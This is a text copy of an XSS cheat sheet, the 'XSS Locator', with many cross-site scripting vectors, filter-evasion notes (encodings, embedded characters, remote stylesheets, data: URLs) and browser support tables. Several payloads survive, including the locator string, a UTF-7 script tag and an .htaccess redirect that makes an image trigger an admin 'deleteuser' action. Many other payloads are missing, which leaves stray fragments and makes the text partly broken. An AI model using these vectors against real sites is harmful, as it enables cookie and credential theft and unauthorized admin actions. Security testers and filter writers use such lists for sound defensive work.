XSS Locator

Basic XSS Attacks

Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'>=&{} XSS Quick Test

XSS Quick Test

Basic XSS Attacks

If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable.

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

'';!--"=&{()} SCRIPT w/Alert()

SCRIPT w/Alert()

Basic XSS Attacks

Basic injection attack

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

SCRIPT w/Source File

SCRIPT w/Source File

Basic XSS Attacks

No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

SCRIPT w/Char Code

SCRIPT w/Char Code

Basic XSS Attacks

Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up.

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

BASE

BASE

HTML Element Attacks

Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

BGSOUND

BGSOUND

HTML Element Attacks

BGSOUND

Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

BODY background-image

BODY background-image

HTML Element Attacks

BODY image

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

BODY ONLOAD

BODY ONLOAD

HTML Element Attacks

BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack)

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

DIV background-image 1

DIV background-image 1

HTML Element Attacks

Div background-image

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

DIV background-image 2

DIV background-image 2

HTML Element Attacks

Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

DIV expression

DIV expression

HTML Element Attacks

Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression"

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

FRAME

FRAME

HTML Element Attacks

Frame (Frames have the same sorts of XSS problems as iframes).

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

IFRAME

IFRAME

HTML Element Attacks

Iframe (If iframes are allowed there are a lot of other XSS problems as well).

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

INPUT Image

INPUT Image

HTML Element Attacks

INPUT Image

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

IMG w/JavaScript Directive

IMG w/JavaScript Directive

HTML Element Attacks

Image XSS using the JavaScript directive.

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

IMG No Quotes/Semicolon

IMG No Quotes/Semicolon

HTML Element Attacks

No quotes and no semicolon

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

IMG Dynsrc

IMG Dynsrc

HTML Element Attacks

IMG Dynsrc

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

IMG Lowsrc

IMG Lowsrc

HTML Element Attacks

IMG Lowsrc

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

IMG Embedded commands 1

IMG Embedded commands 1

HTML Element Attacks

This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors.

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

IMG Embedded commands 2

IMG Embedded commands 2

HTML Element Attacks

IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser IMG STYLE w/expression

IMG STYLE w/expression

HTML Element Attacks

IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

exp/* List-style-image

List-style-image

HTML Element Attacks

Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.

Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

  • XSS IMG w/VBscript

    IMG w/VBscript

    HTML Element Attacks

    VBscript in an image

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    LAYER

    LAYER

    HTML Element Attacks

    Layer (Older Netscape only)

    Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]

    Livescript

    Livescript

    HTML Element Attacks

    Livescript (Older Netscape only)

    Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]

    US-ASCII encoding

    US-ASCII encoding

    HTML Element Attacks

    Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>]

    %BCscript%BEalert(%A2XSS%A2)%BC/script%BE META

    META

    HTML Element Attacks

    The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]

    META w/data:URL

    META w/data:URL

    HTML Element Attacks

    This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details

    Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    META w/additional URL parameter

    META w/additional URL parameter

    HTML Element Attacks

    Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    Mocha

    Mocha

    HTML Element Attacks

    Mocha (Older Netscape only)

    Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]

    OBJECT

    OBJECT

    HTML Element Attacks

    If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS

    Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    OBJECT w/Embedded XSS

    OBJECT w/Embedded XSS

    HTML Element Attacks

    Using an OBJECT tag you can embed XSS directly (this is unverified).

    Browser support:

    Embed Flash

    Embed Flash

    HTML Element Attacks

    Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    OBJECT w/Flash 2

    OBJECT w/Flash 2

    HTML Element Attacks

    Using this action script inside flash can obfuscate your XSS vector.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    a="get"; b="URL(""; c="javascript:"; d="alert('XSS');")"; eval(a+b+c+d); STYLE

    STYLE

    HTML Element Attacks

    STYLE tag (Older versions of Netscape only)

    Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]

    STYLE w/Comment

    STYLE w/Comment

    HTML Element Attacks

    STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    STYLE w/Anonymous HTML

    STYLE w/Anonymous HTML

    HTML Element Attacks

    Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    STYLE w/background-image

    STYLE w/background-image

    HTML Element Attacks

    STYLE tag using background-image.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    STYLE w/background

    STYLE w/background

    HTML Element Attacks

    STYLE tag using background.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    Stylesheet

    Stylesheet

    HTML Element Attacks

    Stylesheet

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    Remote Stylesheet 1

    Remote Stylesheet 1

    HTML Element Attacks

    Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    Remote Stylesheet 2

    Remote Stylesheet 2

    HTML Element Attacks

    Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    Remote Stylesheet 3

    Remote Stylesheet 3

    HTML Element Attacks

    Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.

    Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    Remote Stylesheet 4

    Remote Stylesheet 4

    HTML Element Attacks

    Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.

    Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]

    TABLE

    TABLE

    HTML Element Attacks

    Table background (who would have thought tables were XSS targets... except me, of course).

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    TD

    TD

    HTML Element Attacks

    TD background.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    XML namespace

    XML namespace

    HTML Element Attacks

    XML namespace. The .htc file must be located on the server as your XSS vector.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    XSS XML data island w/CDATA

    XML data island w/CDATA

    HTML Element Attacks

    XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    ]]> XML data island w/comment

    XML data island w/comment

    HTML Element Attacks

    XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive)

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    XML (locally hosted)

    XML (locally hosted)

    HTML Element Attacks

    Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    XML HTML+TIME

    XML HTML+TIME

    HTML Element Attacks

    HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    Commented-out Block

    Commented-out Block

    Other Attacks

    Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    Cookie Manipulation

    Cookie Manipulation

    Other Attacks

    Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    Local .htc file

    Local .htc file

    Other Attacks

    This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    Rename .js to .jpg

    Rename .js to .jpg

    Other Attacks

    Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    SSI

    SSI

    Other Attacks

    SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    PHP

    PHP

    Other Attacks

    PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    alert("XSS")'); ?> JavaScript Includes

    JavaScript Includes

    Other Attacks

    &JavaScript includes (works in Netscape 4.x).

    Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]


    Character Encoding Example

    Character Encoding Example

    Character Encoding Attacks

    All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?).

    Browser support:

    < %3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C Case Insensitive

    Case Insensitive

    Character Encoding Attacks

    Case insensitive XSS attack vector.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    HTML Entities

    HTML Entities

    Character Encoding Attacks

    HTML entities (the semicolons are required for this to work).

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    Grave Accents

    Grave Accents

    Character Encoding Attacks

    Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents).

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    Image w/CharCode

    Image w/CharCode

    Character Encoding Attacks

    If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    UTF-8 Unicode Encoding

    UTF-8 Unicode Encoding

    Character Encoding Attacks

    UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    Long UTF-8 Unicode w/out Semicolons

    Long UTF-8 Unicode w/out Semicolons

    Character Encoding Attacks

    Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild).

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    DIV w/Unicode

    DIV w/Unicode

    Character Encoding Attacks

    DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    Hex Encoding w/out Semicolons

    Hex Encoding w/out Semicolons

    Character Encoding Attacks

    Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    UTF-7 Encoding

    UTF-7 Encoding

    Character Encoding Attacks

    UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- Escaping JavaScript escapes

    Escaping JavaScript escapes

    Character Encoding Attacks

    Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    \";alert('XSS');// End title tag

    End title tag

    Character Encoding Attacks

    This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]

    STYLE w/broken up JavaScript

    STYLE w/broken up JavaScript

    Character Encoding Attacks

    STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    Embedded Tab

    Embedded Tab

    Embedded Character Attacks

    Embedded tab to break up the cross site scripting attack.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    Embedded Encoded Tab

    Embedded Encoded Tab

    Embedded Character Attacks

    Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    Embedded Newline

    Embedded Newline

    Embedded Character Attacks

    Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    Embedded Carriage Return

    Embedded Carriage Return

    Embedded Character Attacks

    Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    Multiline w/Carriage Returns

    Multiline w/Carriage Returns

    Embedded Character Attacks

    Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]

    Null Chars 1

    Null Chars 1

    Embedded Character Attacks

    Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.

    Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]

    perl -e 'print "";'> out Null Chars 2

    Null Chars 2

    Embedded Character Attacks

